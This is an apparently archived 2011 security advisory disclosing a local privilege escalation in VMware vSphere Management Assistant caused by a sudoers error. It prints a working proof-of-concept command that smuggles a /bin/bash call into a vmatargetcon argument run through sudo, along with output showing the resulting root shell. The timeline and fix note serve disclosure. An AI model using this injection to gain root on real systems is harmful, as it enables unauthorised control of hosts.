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Vmware vSphere Management Assistant (vMA) Privilege Escalation

Vmware vSphere Management Assistant (vMA) Privilege Escalation
Posted May 16, 2011
Authored by @drk1wi

Vmware vSphere Management Assistant (vMA) suffers from a local privilege escalation vulnerability.

tags | exploit, local
MD5 | 091f38d27cf49bbcf2609267ca2f8b73

Vmware vSphere Management Assistant (vMA) Privilege Escalation

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Vmware vSphere Management Assistant (vMA) - Local Privilege Escalation
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Affected Software : Vmware vSphere Management Assistant (vMA)
Severity : Medium
Local/Remote : Local
Author : @drk1wi

[Summary]

Due to an error in the /etc/sudoers file it is possible to run
arbitrary shell commands within the context of root user.

[Vulnerability Details]

[vi-admin@vMA ~]$ sudo /usr/bin/vmatargetcon --shell=/bin/bash
"'raz';/bin/bash;"
35|ERROR|1|Unable to resolve hostname.
[root@vMA vi-admin]#

[Time-line]

27/04/2010 - Vendor notified
28/04/2010 - Vendor response
??? - Vendor patch release
16/05/2011 - Public disclosure

[Fix Information]

Edit the /etc/sudoers file.

Cheers,
@drk1wi

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